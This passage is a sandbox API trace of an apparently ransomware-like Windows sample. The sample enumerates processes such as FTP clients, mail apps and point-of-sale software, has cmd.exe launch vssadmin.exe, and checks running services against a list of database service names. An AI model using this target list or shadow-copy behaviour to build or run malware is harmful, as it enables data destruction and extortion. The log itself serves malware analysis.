th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0062.301] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0062.301] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0062.301] lstrlenW (lpString="sellers.exe") returned 11 [0062.301] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0062.302] lstrlenW (lpString="gras hair.exe") returned 13 [0062.302] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0062.302] lstrlenW (lpString="acquisitions.exe") returned 16 [0062.302] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0062.303] lstrlenW (lpString="starscondos.exe") returned 15 [0062.303] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0062.304] lstrlenW (lpString="3dftp.exe") returned 9 [0062.304] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0062.304] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0062.304] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0062.305] lstrlenW (lpString="alftp.exe") returned 9 [0062.305] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0062.305] lstrlenW (lpString="barca.exe") returned 9 [0062.305] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0062.306] lstrlenW (lpString="bitkinex.exe") returned 12 [0062.306] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0062.306] lstrlenW (lpString="coreftp.exe") returned 11 [0062.306] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0062.307] lstrlenW (lpString="far.exe") returned 7 [0062.307] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0062.307] lstrlenW (lpString="filezilla.exe") returned 13 [0062.307] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0062.308] lstrlenW (lpString="flashfxp.exe") returned 12 [0062.308] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0062.308] lstrlenW (lpString="fling.exe") returned 9 [0062.308] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0062.309] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0062.309] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0062.310] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0062.310] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0062.311] lstrlenW (lpString="icq.exe") returned 7 [0062.311] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0062.312] lstrlenW (lpString="leechftp.exe") returned 12 [0062.312] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0062.313] lstrlenW (lpString="ncftp.exe") returned 9 [0062.313] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0062.314] lstrlenW (lpString="notepad.exe") returned 11 [0062.314] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0062.315] lstrlenW (lpString="operamail.exe") returned 13 [0062.315] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0062.316] lstrlenW (lpString="pidgin.exe") returned 10 [0062.316] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0062.317] lstrlenW (lpString="scriptftp.exe") returned 13 [0062.317] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0062.318] lstrlenW (lpString="skype.exe") returned 9 [0062.318] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0062.318] lstrlenW (lpString="smartftp.exe") returned 12 [0062.319] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0062.319] lstrlenW (lpString="thunderbird.exe") returned 15 [0062.319] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0062.320] lstrlenW (lpString="totalcmd.exe") returned 12 [0062.320] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0062.321] lstrlenW (lpString="trillian.exe") returned 12 [0062.321] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0062.322] lstrlenW (lpString="webdrive.exe") returned 12 [0062.322] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0062.322] lstrlenW (lpString="whatsapp.exe") returned 12 [0062.322] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0062.323] lstrlenW (lpString="winscp.exe") returned 10 [0062.323] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0062.324] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0062.324] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0062.325] lstrlenW (lpString="active-charge.exe") returned 17 [0062.325] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0062.326] lstrlenW (lpString="accupos.exe") returned 11 [0062.326] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0062.326] lstrlenW (lpString="afr38.exe") returned 9 [0062.327] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0062.327] lstrlenW (lpString="aldelo.exe") returned 10 [0062.327] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0062.452] lstrlenW (lpString="ccv_server.exe") returned 14 [0062.452] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0062.453] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0062.453] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0062.454] lstrlenW (lpString="creditservice.exe") returned 17 [0062.454] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0062.454] lstrlenW (lpString="edcsvr.exe") returned 10 [0062.455] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0062.455] lstrlenW (lpString="fpos.exe") returned 8 [0062.455] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0062.456] lstrlenW (lpString="isspos.exe") returned 10 [0062.456] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0062.457] lstrlenW (lpString="mxslipstream.exe") returned 16 [0062.457] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0062.457] lstrlenW (lpString="omnipos.exe") returned 11 [0062.457] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0062.458] lstrlenW (lpString="spcwin.exe") returned 10 [0062.458] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0062.459] lstrlenW (lpString="spgagentservice.exe") returned 19 [0062.459] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0062.459] lstrlenW (lpString="utg2.exe") returned 8 [0062.459] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0062.460] lstrlenW (lpString="burner.exe") returned 10 [0062.460] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0062.461] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0062.461] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0062.461] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0062.461] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0062.462] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0062.462] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0062.462] lstrlenW (lpString="cmd.exe") returned 7 [0062.463] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0062.463] lstrlenW (lpString="conhost.exe") returned 11 [0062.463] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0062.464] lstrlenW (lpString="vssadmin.exe") returned 12 [0062.464] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0062.465] lstrlenW (lpString="VSSVC.exe") returned 9 [0062.465] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.465] lstrlenW (lpString="svchost.exe") returned 11 [0062.466] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0062.466] lstrlenW (lpString="LogonUI.exe") returned 11 [0062.466] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0062.467] CloseHandle (hObject=0x188) returned 1 [0062.467] Sleep (dwMilliseconds=0x1f4) [0063.124] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59fb18 [0063.125] EnumServicesStatusExW (in: hSCManager=0x59fb18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0063.125] GetLastError () returned 0xea [0063.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x142e) returned 0x37f6700 [0063.126] EnumServicesStatusExW (in: hSCManager=0x59fb18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37f6700, cbBufSize=0x142e, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37f6700, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0063.127] CloseServiceHandle (hSCObject=0x59fb18) returned 1 [0063.127] lstrlenW (lpString="Appinfo") returned 7 [0063.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0063.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0063.127] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0063.127] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0063.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0063.127] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0063.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.127] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0063.127] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0063.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0063.127] lstrlenW (lpString="AudioSrv") returned 8 [0063.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0063.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0063.127] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0063.127] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0063.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0063.127] lstrlenW (lpString="BFE") returned 3 [0063.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0063.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0063.128] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0063.128] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0063.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0063.128] lstrlenW (lpString="CryptSvc") returned 8 [0063.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0063.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0063.128] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0063.128] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0063.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0063.128] lstrlenW (lpString="CscService") returned 10 [0063.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0063.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0063.128] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0063.128] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0063.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0063.128] lstrlenW (lpString="DcomLaunch") returned 10 [0063.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.128] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0063.128] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0063.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0063.128] lstrlenW (lpString="Dhcp") returned 4 [0063.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0063.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0063.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0063.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0063.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0063.128] lstrlenW (lpString="Dnscache") returned 8 